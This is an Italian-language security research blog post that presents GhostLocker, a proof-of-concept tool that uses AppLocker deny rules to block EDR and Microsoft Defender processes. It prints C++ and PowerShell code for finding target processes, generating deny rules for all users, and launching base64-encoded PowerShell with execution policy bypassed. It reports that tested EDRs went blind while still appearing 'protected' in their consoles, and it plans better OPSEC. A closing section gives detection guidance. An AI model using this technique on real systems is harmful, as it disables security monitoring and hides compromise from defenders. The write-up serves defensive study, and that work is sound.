GhostLocker: Neutralizzazione EDR basata su AppLocker

Introduzione

Dopo il mio articolo su Fairy-Law, in cui ho utilizzato mitigazioni del kernel per disabilitare le soluzioni Endpoint Detection & Response (EDR), diversenok ha osservato che le esclusioni IFEO (Image File Execution Options) erano troppo invasive per le applicazioni di terze parti. Questo ha portato a un approccio migliore: sfruttare il potere intrinseco che gli amministratori già possiedono tramite AppLocker.

Il concetto è stato ispirato da diversenok, che ha sottolineato come gli amministratori possano legittimamente controllare qualsiasi software sui propri sistemi. Da questa intuizione, ho sviluppato una tecnica che utilizza AppLocker come meccanismo di controllo nativo di Windows. Questa ricerca esplora l'implementazione tecnica di AppLocker per il controllo degli EDR, confrontandola con WDAC e presentando un proof-of-concept pratico.

AppLocker: Architettura di whitelisting delle applicazioni

AppLocker è stato introdotto con Windows 7 e migliorato in Windows 8.1, 10 (Enterprise) e Windows Server 2012/R2/2016+. È un framework di whitelisting delle applicazioni che consente agli amministratori di definire con precisione quali eseguibili, script o installer possono essere eseguiti da specifici utenti o gruppi.

Architettura interna (prospettiva Windows Internals)

Componenti user-mode e kernel:

AppIDSvc (Application Identity Service)

• Viene eseguito con l'account LocalService
• Monitora le modifiche al registro relative ai percorsi delle policy AppLocker
• Traduce le definizioni di regole basate su XML in SDDL binario (Security Descriptor Definition Language)
• Comunica gli aggiornamenti delle policy al driver del kernel tramite DeviceIoControl

AppID.sys (Driver del kernel)

• Intercetta gli eventi di creazione dei processi tramite meccanismi di callback
• Esegue la valutazione delle regole utilizzando SeSrpAccessCheck
• Opzionalmente monitora i caricamenti di DLL (disattivato di default per motivi di prestazioni)

Chiarimento:
Mentre AppID.sys esegue la valutazione delle regole in modalità kernel, l'applicazione delle regole sulle DLL non è autonoma.
Il driver del kernel non monitora attivamente i caricamenti di DLL da solo. Invece, i componenti user-mode devono interrogare esplicitamente il driver tramite IOCTL per determinare se un caricamento di DLL è consentito.
Di conseguenza, le regole DLL di AppLocker agiscono di fatto come un meccanismo di protezione lato client.

Tipi di regole e applicazione

AppLocker supporta due categorie principali di regole:

Regole Allow: consentono esplicitamente l'esecuzione delle applicazioni definite

Regole Deny: bloccano esplicitamente l'esecuzione delle applicazioni definite

• Le regole Deny hanno sempre precedenza sulle regole Allow
• Possono includere eccezioni per condizioni specifiche
• Supportano l'assegnazione a livello di utente e di gruppo

Criteri delle regole (attributi AppID):

• Regole basate sul percorso: C:\Program Files\Security\*.exe
• Regole basate su hash: validazione hash SHA256 Authenticode
• Regole basate sull'editore: verifica di firma digitale, versione, nome del prodotto
• Regole basate sugli attributi dei file: nome dell'azienda, versione del prodotto, ecc.

Posizioni di archiviazione nel registro:

HKLM\Software\Policies\Microsoft\Windows\SrpV2     (archiviazione policy XML, persistente)
HKLM\SYSTEM\CurrentControlSet\Control\Srp\Gp\Exe  (formato binario SDDL, applicazione attiva)
HKLM\SYSTEM\CurrentControlSet\Control\AppID\CertStore (cache dei certificati)

Applicazione per i servizi e i processi SYSTEM (spesso trascurata)

Per impostazione predefinita, AppLocker non applica le regole ai servizi o ai processi SYSTEM.
Non esiste un'opzione dell'interfaccia grafica per abilitare questo comportamento.

L'applicazione per i servizi può essere abilitata solo tramite la policy XML utilizzando RuleCollectionExtensions.

La seguente sezione di policy è necessaria per applicare le regole AppLocker ai servizi:

<RuleCollectionExtensions>
  <ThresholdExtensions>
    <Services EnforcementMode="Enabled"/>
  </ThresholdExtensions>
  <RedstoneExtensions>
    <SystemApps Allow="Enabled"/>
  </RedstoneExtensions>
</RuleCollectionExtensions>

Come indicato dai nomi delle estensioni, queste opzioni sono supportate solo su Windows 10+ e non sono disponibili nelle versioni precedenti. Vedi Microsoft - AppLocker rule collection extensions

Flusso di applicazione:

1. Windows notifica al driver AppID la creazione del processo
2. AppID.sys valuta gli attributi dell'applicazione
3. In base alle regole AppLocker, consente o blocca il processo
4. Se bloccato, la creazione del processo viene interrotta con STATUS_ACCESS_DISABLED_BY_POLICY_OTHER

Limitazione critica:

⚠️ AppLocker NON termina i processi in esecuzione.

L'applicazione di AppLocker si riferisce solo a nuovi eventi di creazione di processi. I processi EDR già in esecuzione continuano a funzionare fino al riavvio del sistema. Questo è un vincolo architetturale fondamentale.

Nota sulla telemetria del driver del kernel:

Anche dopo aver bloccato gli eseguibili userland dell'EDR, i driver del kernel (*.sys) rimangono attivi e operativi. Questi driver continuano a:

• Registrare callback del kernel (processi, thread, caricamento immagini, registro)
• Raccogliere dati di telemetria
• Monitorare gli eventi di sistema

Tuttavia, test approfonditi rivelano che questa telemetria diventa funzionalmente inefficace. Senza motori di analisi userland, sistemi di correlazione e meccanismi di reporting, i dati di telemetria grezzi non possono essere trasformati in rilevamenti utilizzabili. Le soluzioni EDR dipendono fortemente dai componenti userland per:

• Correlazione degli eventi e analisi comportamentale
• Inferenza tramite machine learning
• Generazione di alert e orchestrazione della risposta
• Comunicazione con le console di gestione

GhostLocker: Implementazione proof-of-concept

Panoramica dello strumento

GhostLocker è un'implementazione in C++ che automatizza la distribuzione di policy AppLocker per bloccare gli eseguibili EDR.

Analisi dell'implementazione tecnica

Varianti di implementazione

GhostLocker fornisce due varianti di implementazione:

main.cpp – Versione con enumerazione dinamica

Questa versione enumera i processi in esecuzione e risolve i relativi percorsi completi dell'immagine utilizzando API native (NtQuerySystemInformation).
I percorsi assoluti risolti vengono quindi utilizzati per generare regole Deny AppLocker precise.

Lo strumento utilizza CreateToolhelp32Snapshot con TH32CS_SNAPPROCESS per enumerare tutti i processi in esecuzione. Confronta i nomi dei processi con un elenco predefinito di target utilizzando un confronto senza distinzione tra maiuscole e minuscole (_wcsicmp).

Perché questo approccio?

• Enumerazione leggera e veloce
• Nessun privilegio elevato richiesto per leggere l'elenco dei processi
• Il confronto senza distinzione tra maiuscole e minuscole gestisce le variazioni di denominazione

1. Enumerazione dei processi (FindTargetsAndQueryPaths)

const wchar_t* targetNames[] = {
    L"MpDefenderCoreService.exe",
    L"MsMpEng.exe",
    L"WinDefend.exe",
    L"EDR_Component_Name.exe",
};

2. Risoluzione del percorso tramite NtQuerySystemInformation

SYSTEM_PROCESS_ID_INFORMATION spi = { 0 };
spi.ProcessId = PID;
spi.ImageName.MaximumLength = 1024;
spi.ImageName.Buffer = (PWSTR)allocBuffer;

status = NtQuerySystemInformation(
    SystemProcessIdInformation,
    &spi,
    sizeof(spi),
    0
);

Dettagli tecnici:

• Utilizza la classe di informazioni non documentata SystemProcessIdInformation (0x58)
• Restituisce il formato percorso dispositivo NT: \Device\HarddiskVolume3\Windows\System32\...
• Richiede la conversione al formato percorso Win32 per la compatibilità con AppLocker

Logica di conversione del percorso:

std::wstring ForceHarddiskVolumeToC(const std::wstring& ntPath)
{
    const std::wstring prefix = L"\\Device\\HarddiskVolume3\\";
    if (ntPath.rfind(prefix, 0) == 0)
    {
        std::wstring rest = ntPath.substr(prefix.length());
        return L"C:\\" + rest;
    }
    return ntPath;
}

Limite: Assunzione hardcoded di HarddiskVolume3. Dovrebbe essere migliorato per risolvere dinamicamente i numeri di volume.

3. Generazione della policy PowerShell

Lo strumento incorpora uno script PowerShell completo che:

a) Valida i percorsi target

foreach ($exe in $ExeToBlock) {
    if (!(Test-Path $exe)) {
        Write-Host '[!] ERROR: File does not exist:' $exe -ForegroundColor Red
        exit 1
    }
}

b) Genera regole Deny dinamiche

foreach ($exe in $ExeToBlock) {
    $id   = [guid]::NewGuid().ToString()
    $name = Split-Path $exe -Leaf
    
    $dynamicBlockRules += '<FilePathRule Id="' + $id + '" Name="Block ' + $name + 
                          '" Description="Blocked by policy" UserOrGroupSid="S-1-1-0" Action="Deny">'
    $dynamicBlockRules += '<Conditions><FilePathCondition Path="' + $exe + '" /></Conditions>'
    $dynamicBlockRules += '</FilePathRule>'
}

Elementi chiave della policy:

• UserOrGroupSid="S-1-1-0": Si applica a Tutti (tutti gli utenti)
• Action="Deny": Regola di blocco esplicita
• EnforcementMode="Enabled": Applicazione attiva per le regole EXE
• Le regole Deny vengono inserite prima delle regole Allow di fallback (precedenza)

c) Applicazione della policy

Set-AppLockerPolicy -XmlPolicy $tempPath -ErrorAction Stop
gpupdate /force | Out-Null

4. Codifica Base64 ed esecuzione

void RunPowerShellInMemory()
{
    std::wstring script = BuildFullPowerShellScript();
    const BYTE* bytes = reinterpret_cast<const BYTE*>(script.c_str());
    size_t byteLen = script.size() * sizeof(wchar_t);
    
    std::wstring encoded = Base64Encode(bytes, byteLen);
    std::wstring params = L"-NoProfile -ExecutionPolicy Bypass -EncodedCommand ";
    params += encoded;
    
    ShellExecuteW(NULL, L"runas", L"powershell.exe", params.c_str(), NULL, SW_SHOW);
}

Motivazione tecnica:

• Codifica UTF-16LE: PowerShell -EncodedCommand prevede UTF-16LE
• Codifica Base64: aggira le restrizioni sui caratteri della riga di comando
• -ExecutionPolicy Bypass: ignora i criteri di esecuzione degli script
• Verbo runas: attiva l'elevazione UAC per i diritti amministrativi

main_improved.cpp – Versione statica basata su wildcard

Dopo il chiarimento di diversenok, è emerso che le regole di percorso AppLocker supportano la corrispondenza con wildcard e non richiedono percorsi completi degli eseguibili.

Questa versione migliorata rimuove tutta la logica di enumerazione dei processi e di risoluzione dei percorsi nativi e si basa invece su regole wildcard statiche come: *\MsMpEng.exe

Requisiti

⚠️ Prerequisiti per una distribuzione efficace:

• Deve essere eseguito in un contesto elevato (Amministratore)
• Il servizio AppIDSvc deve essere in esecuzione: sc start AppIDSvc
• È necessario il riavvio del sistema dopo la distribuzione per la piena efficacia
• I processi EDR target devono essere in esecuzione durante la fase di enumerazione

Risultati della ricerca: test EDR nel mondo reale

Metodologia di test

Sono stati condotti test controllati estesi su molteplici soluzioni EDR commerciali per valutarne l'efficacia.

Ambiente di test:

• Windows 11 (25H2)
• Molteplici prodotti EDR commerciali (nomi non divulgati)
• Rilevamento di base: tecniche semplici di injection nei processi
• Verifica pre-test: confermate le capacità di rilevamento degli EDR

Risultati principali

Capacità di rilevamento dopo il blocco

Fallimento dell'analisi comportamentale:

• Tutte le soluzioni EDR testate non sono riuscite a generare alert dopo il blocco AppLocker
• Injection semplici precedentemente rilevate non sono state individuate
• Nessun rilevamento comportamentale attivato per attività sospette

Prospettiva della console di gestione:

• Gli agenti continuavano a riportare lo stato "online" e "protetto"
• I timestamp dell'ultima attività venivano aggiornati normalmente
• Nessuna indicazione di compromissione dall'interfaccia di gestione

Analisi della telemetria del driver del kernel

Nonostante i driver del kernel continuassero a funzionare e a raccogliere flussi di dati di telemetria, l'assenza di componenti di elaborazione userland ha reso inefficaci i dati raccolti.

Cosa continua a funzionare:

• I callback del kernel scattano normalmente (processo, thread, caricamento immagine, registro, ecc.)
• La raccolta di dati di telemetria grezzi persiste
• La comunicazione driver-to-driver può funzionare

Intuizione critica:

L'architettura EDR moderna si basa su un accoppiamento stretto tra i driver del kernel e i motori di analisi userland.
Rompere questo accoppiamento rende di fatto cieco l'EDR nonostante la continua raccolta di telemetria.

Screenshot (Enumerazione e applicazione della policy AppLocker):

Screenshot (WinDefend disattivato):

Screenshot della versione 2

Confronto: WDAC vs. AppLocker

Cos'è WDAC?

Windows Defender Application Control (WDAC) è stato introdotto in Windows 10 e rappresenta il framework moderno di controllo delle applicazioni di Microsoft.
Applica le policy sia ai binari user-mode che kernel-mode.

Architettura WDAC:

Caratteristiche principali:

• Applicazione a livello di sistema (tutti gli utenti, tutte le sessioni)
• Applicazione pre-avvio
• Modello deny-by-default
• Motore di policy Code Integrity (CI)
• Applicazione della firma dei driver del kernel

Archiviazione delle policy WDAC:

C:\Windows\System32\CodeIntegrity\SIPolicy.p7b    (Policy attiva, firmata)
C:\Windows\System32\CodeIntegrity\CIPolicies\     (Policy multiple)
EFI System Partition (applicazione UEFI)

WDAC come vettore di attacco: Krueger

Krueger ha dimostrato l'abuso di WDAC per il blocco dei driver EDR:

Differenza chiave:

• WDAC blocca al momento del caricamento del driver (kernel)
• AppLocker blocca al momento della creazione del processo (userland)

Matrice di confronto dettagliata

Considerazioni pratiche sull'attacco

Quando usare AppLocker (GhostLocker):

• L'obiettivo è solo il blocco dei processi userland
• Si vuole mantenere la telemetria del driver del kernel (meno sospetto)
• Servono policy con ambito utente per il blocco mirato

Quando usare WDAC (stile Krueger):

• Necessario il blocco completo a livello di driver
• Il target non ha alcuna applicazione WDAC

Guida al rilevamento e alla prevenzione

1. Valutazione della policy prima dell'esecuzione

Windows fornisce l'API Get-AppLockerFileInformation, che consente di verificare se un determinato eseguibile verrebbe bloccato con la policy AppLocker corrente.

Un EDR può utilizzare questo meccanismo per verificare proattivamente se i propri binari o servizi verrebbero negati dopo una modifica della policy.
Se un componente principale passa da consentito a negato, questa condizione dovrebbe essere trattata come un'indicazione di manomissione ad alta confidenza.

2. Monitoraggio delle modifiche alle policy AppLocker

Gli aggiornamenti delle policy AppLocker vengono comunicati a AppID.sys tramite chiamate IOCTL esplicite provenienti dal user-mode.
Questo fornisce un percorso di segnale chiaro che indica un cambiamento nello stato di applicazione.

I driver del kernel possono osservare queste notifiche e correlarle con successivi errori di esecuzione dei servizi protetti, consentendo un rilevamento accurato della neutralizzazione basata su policy.

3. Correlazione di persistenza e riavvio

Le policy AppLocker vengono mantenute tra i riavvii in posizioni ben definite del registro.
Le soluzioni EDR possono acquisire un'istantanea dello stato delle policy prima del riavvio e verificare la coerenza dell'applicazione dopo l'avvio del sistema.

Una discrepanza tra lo stato di esecuzione previsto e l'applicazione post-riavvio indica fortemente una manipolazione intenzionale delle policy.

4. Meccanismi di esclusione integrati

Windows include meccanismi nativi per escludere i processi dall'applicazione SRP/AppLocker.
Ci si aspetta che i prodotti di sicurezza si integrino con questi meccanismi per garantire la continuità operativa.

La mancata considerazione di queste esclusioni non è una limitazione di AppLocker, ma piuttosto una svista architetturale nel prodotto protetto.

Riepilogo

Nessuna di queste strategie di rilevamento richiede di aggirare AppLocker o violare i confini di sicurezza di Windows.
Si basano esclusivamente su comportamenti documentati e interfacce già fornite dal sistema operativo.

Conclusione

GhostLocker dimostra che AppLocker, una legittima funzionalità di sicurezza di Windows, può essere armato per neutralizzare le soluzioni EDR tramite il blocco dei processi userland.
Questa ricerca evidenzia vulnerabilità architetturali fondamentali negli attuali design EDR, che accoppiano strettamente la raccolta di telemetria del kernel con i motori di analisi userland.

Punti chiave:

1. Efficacia di AppLocker: blocca con successo i processi userland degli EDR di più vendor
2. Vulnerabilità architetturale: i driver del kernel continuano a funzionare ma diventano funzionalmente ciechi senza l'elaborazione userland
3. Cecità del rilevamento: gli EDR testati hanno mostrato un completo fallimento del rilevamento dopo il blocco
4. Inganno della console di gestione: gli agenti appaiono "online" e "protetti" nonostante la compromissione
5. Tecnica nativa di sistema: utilizza funzionalità legittime di Windows

Per una futura implementazione in C#:

• Esecuzione in memoria puramente .NET (migliore OPSEC)
• Utilizzo diretto delle API senza dipendenze da PowerShell

Disclaimer

Questa ricerca è fornita solo a scopo educativo e di sicurezza difensiva.
Le tecniche descritte dovrebbero essere utilizzate solo in ambienti di test autorizzati con permesso esplicito.

Riferimenti e approfondimenti

• Windows Internals, Part 1 & 2 (7th Edition)
• AppLocker Technical Reference
• WDAC Design Guide
• Krueger: WDAC Abuse Tool

Contributi dalla community benvenuti

Se sei interessato a contribuire a GhostLocker, soprattutto all'implementazione in C#, sei il benvenuto.